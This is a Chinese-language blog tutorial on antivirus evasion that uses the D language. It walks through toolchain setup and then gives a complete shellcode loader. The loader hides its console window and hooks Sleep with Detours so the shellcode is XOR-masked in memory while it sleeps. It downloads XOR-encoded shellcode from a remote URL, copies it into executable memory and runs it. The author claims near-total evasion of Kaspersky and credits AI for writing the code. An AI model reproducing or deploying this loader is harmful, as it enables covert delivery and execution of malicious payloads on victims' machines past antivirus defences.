本章我想说一些其他语言做免杀，先尝试了python，效果简直就是一坨，不太行，然后在网上看到了什么nim和zig，冷门语言做免杀，但是nim和zig都有人搞过了，免杀效果大打折扣，所以我盯上了dlang，我也是今天才了解到这门语言，在ai们的帮助下，我才将代码写出来，测试之后感觉效果还可以，给大家分享一下。

首先还是从基础的写来，先看看怎么搭建环境，只需要两部，先在官网下载安装包，然后在vscode安装插件

![图片](/media/202608/8c900d83571e43d8a470bf248676a8343985.png)

![图片](/media/202608/f50368b123a24f37a42c641dd20e7e2c6516.png)

安装好之后可以测试一下，测试dmd和dub（不要和主包一样搞成dud）

![图片](/media/202608/c89b2b940f5242a2a485f8593a8a461a2633.png)

然后介绍一下打包命令

![图片](/media/202608/577a8ff2f49d454e8614231ab0649c917979.png)

就是诸如

```
dmd ddd.d -Lwininet.lib -Ldetours_x64.lib -m64
```

这样的，参数含义也很简单，ddd.d就是文件名，至于"-L"是用来传递给链接器，比如"-Lwininet.lib"链接 WinINet 库，当然，我们无需过多的去想这些事，编译的时候报错就问缺什么，我们应该利用ai节省学习时间提供效率，然后我们开始看正题

![图片](/media/202608/4d22a743acca459fbba1aae28522dac63923.png)

本次代码思路和以前差不多，shellcode分离加密，shellcode睡眠时加密，代码如下

```
import core.sys.windows.windows;
import core.sys.windows.wininet;
import core.stdc.string;
import std.stdio;
import std.string;
import std.array;
import std.conv;

// 调试开关，发布时设置为false
enum bool DEBUG = false;

// ========= Detours API声明 =========
extern(Windows)
{
    LONG DetourTransactionBegin();
    LONG DetourUpdateThread(HANDLE hThread);
    LONG DetourAttach(PVOID* ppPointer, PVOID pDetour);
    LONG DetourRestoreAfterWith();
    LONG DetourTransactionCommit();
    LONG DetourTransactionAbort();
}

struct MemoryInfo
{
    LPVOID  shellcodeBase;
    SIZE_T  shellcodeSize;
    ubyte*  key;
    int     key_len;
}

__gshared volatile MemoryInfo memoryInfo;
__gshared volatile void function(DWORD) g_OriginalSleep;

immutable ubyte SINGLE_XOR_KEY = 0x4d;
immutable string PAYLOAD_URL = "链接";

char[] strToAnsi(string s)
{
    char[] buf = new char[s.length + 1];
    foreach (size_t i; 0 .. s.length)
    {
        buf[i] = cast(char)s[i];
    }
    buf[s.length] = '\0';
    return buf;
}

/// 公共XOR内存混淆函数
void xorMemory(LPVOID base, SIZE_T size, ubyte* key, int key_len)
{
    if(base is null || size == 0 || key is null || key_len <= 0)
        return;

ubyte* pBuf = cast(ubyte*)base;
    foreach(SIZE_T i; 0 .. size)
    {
        pBuf[i] ^= key[i % key_len];
    }
}

/// Sleep执行前：加密shellcode内存
void My_EncryptShellcode()
{
    if(memoryInfo.shellcodeBase is null || memoryInfo.shellcodeSize == 0)
    {
        static if(DEBUG) writeln("[!] shellcode info empty, skip encrypt");
        return;
    }

DWORD oldProtect;
    BOOL ret = VirtualProtect(
        memoryInfo.shellcodeBase,
        memoryInfo.shellcodeSize,
        PAGE_READWRITE,
        &oldProtect
    );
    if(!ret)
    {
        static if(DEBUG) writefln("[!] VirtualProtect encrypt failed GLE:%u", GetLastError());
        return;
    }

xorMemory(memoryInfo.shellcodeBase, memoryInfo.shellcodeSize, memoryInfo.key, memoryInfo.key_len);

// 恢复原有内存权限
    VirtualProtect(
        memoryInfo.shellcodeBase,
        memoryInfo.shellcodeSize,
        oldProtect,
        &oldProtect
    );
    static if(DEBUG) writeln("[*] Shellcode memory encrypted for sleep");
}

void HideConsole()
{
    HWND hWnd = GetConsoleWindow();
    if(hWnd !is null)
    {
        ShowWindow(hWnd, SW_HIDE);
    }
    FreeConsole(); // 彻底脱离控制台
}

/// Sleep返回后：解密shellcode内存
void My_DecryptShellcode()
{
    if(memoryInfo.shellcodeBase is null || memoryInfo.shellcodeSize == 0)
    {
        static if(DEBUG) writeln("[!] shellcode info empty, skip decrypt");
        return;
    }

DWORD oldProtect;
    BOOL ret = VirtualProtect(
        memoryInfo.shellcodeBase,
        memoryInfo.shellcodeSize,
        PAGE_READWRITE,
        &oldProtect
    );
    if(!ret)
    {
        static if(DEBUG) writefln("[!] VirtualProtect decrypt failed GLE:%u", GetLastError());
        return;
    }

xorMemory(memoryInfo.shellcodeBase, memoryInfo.shellcodeSize, memoryInfo.key, memoryInfo.key_len);

VirtualProtect(
        memoryInfo.shellcodeBase,
        memoryInfo.shellcodeSize,
        oldProtect,
        &oldProtect
    );
    static if(DEBUG) writeln("[*] Shellcode memory decrypted, resume execute");
}

// Sleep代理函数，Hook之后，shellcode调用Sleep就会走进这里
extern(Windows) void HookedSleep(DWORD dwMilliseconds)
{
    My_EncryptShellcode();      // 休眠前加密
    g_OriginalSleep(dwMilliseconds);
    My_DecryptShellcode();      // 休眠结束解密
}

// 安装Detours Hook Sleep
BOOL InstallSleepHook()
{
    DetourRestoreAfterWith();
    LONG status = DetourTransactionBegin();
    if(status != 0)
    {
        static if(DEBUG) writefln("[!] DetourTransactionBegin fail:%d", status);
        return false;
    }

// DetourUpdateThread传NULL表示更新本进程全部线程，不建议GetCurrentThread()
    DetourUpdateThread(null);

g_OriginalSleep = cast(void function(DWORD))&Sleep;

status = DetourAttach(cast(PVOID*)&g_OriginalSleep, cast(PVOID)&HookedSleep);
    if(status != 0)
    {
        static if(DEBUG) writefln("[!] DetourAttach fail:%d", status);
        DetourTransactionAbort(); // 失败回滚事务
        return false;
    }

status = DetourTransactionCommit();
    if(status != 0)
    {
        static if(DEBUG) writefln("[!] DetourTransactionCommit fail:%d", status);
        DetourTransactionAbort();
        return false;
    }
    static if(DEBUG) writeln("[+] Sleep hook installed ok");
    return true;
}

void InitMemoryInfo(LPVOID base, SIZE_T size, ubyte* key, int keylen)
{
    memoryInfo.shellcodeBase = base;
    memoryInfo.shellcodeSize = size;
    memoryInfo.key = key;
    memoryInfo.key_len = keylen;
    static if(DEBUG) writefln("[+] Registered shellcode Base=0x%X Size=%d", cast(ulong)base, size);
}

int main(string[] args)
{
    HideConsole();

// 安装Sleep Hook
    if(!InstallSleepHook())
    {
        static if(DEBUG) writeln("[!] Hook install failed");
        return -1;
    }

// http下载payload
    HINTERNET hInternet = InternetOpenA(
        "Mozilla/5.0",
        INTERNET_OPEN_TYPE_DIRECT,
        null,
        null,
        0);
    if(hInternet is null)
    {
        static if(DEBUG) writeln("[!] InternetOpenA failed");
        return -1;
    }

// 设置wininet超时
    DWORD timeout = 8000;
    InternetSetOptionA(hInternet, INTERNET_OPTION_CONNECT_TIMEOUT, &timeout, DWORD.sizeof);
    InternetSetOptionA(hInternet, INTERNET_OPTION_RECEIVE_TIMEOUT, &timeout, DWORD.sizeof);

char[] urlBuf = strToAnsi(PAYLOAD_URL);
    HINTERNET hUrl = InternetOpenUrlA(
        hInternet,
        urlBuf.ptr,
        null,
        0,
        INTERNET_FLAG_RELOAD | INTERNET_FLAG_NO_CACHE_WRITE,
        0);
    if(hUrl is null)
    {
        static if(DEBUG) writeln("[!] InternetOpenUrlA failed");
        InternetCloseHandle(hInternet);
        return -1;
    }

char[1024] buf;
    DWORD dwRead;
    Appender!(char[]) txtBuf;

while(InternetReadFile(hUrl, buf.ptr, buf.length - 1, &dwRead) && dwRead > 0)
    {
        txtBuf.put(buf[0 .. dwRead]);
    }

InternetCloseHandle(hUrl);
    InternetCloseHandle(hInternet);

string payloadText = cast(string)txtBuf.data;
    auto tokenList = split(payloadText, ",");

ubyte[] shellcodeRaw;
    shellcodeRaw.reserve(4096); // 预分配减少realloc
    foreach(tok; tokenList)
    {
        string s = strip(tok);
        if(s.length == 0) continue;
        int val;
        try
        {
            val = to!int(s);
        }
        catch(Exception e)
        {
            continue; // 解析错误跳过，不直接崩溃
        }
        shellcodeRaw ~= cast(ubyte)val;
    }

SIZE_T scLen = shellcodeRaw.length;
    if(scLen == 0)
    {
        static if(DEBUG) writeln("[!] payload empty");
        return -1;
    }

// Xor解密payload
    ubyte[] keyBuf = [SINGLE_XOR_KEY];
    xorMemory(shellcodeRaw.ptr, scLen, keyBuf.ptr, 1);

// 分配可执行内存
    LPVOID mem = VirtualAlloc(null, scLen, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    if(mem is null)
    {
        static if(DEBUG) writeln("[!] VirtualAlloc failed");
        return -1;
    }

memcpy(mem, shellcodeRaw.ptr, scLen);

// 注册shellcode地址给mask模块
    InitMemoryInfo(mem, scLen, keyBuf.ptr, 1);

// 执行shellcode
    auto shellEntry = cast(void function())mem;
    shellEntry();

// shellcode返回后释放内存
    VirtualFree(mem, 0, MEM_RELEASE);
    return 0;
}

```

至于代码怎么写的，我认为问ai是明智的选择

最后打包一下搞个ddd.exe，看看效果，先看最好的一个，对于卡巴斯基来说，基本就是完全免杀了

![图片](/media/202608/946283078c0841d4a684f411436b58f57527.png)

![图片](/media/202608/61570e74ff914f1bad4b4a544b834e402036.png)

冷门语言dlang免杀路程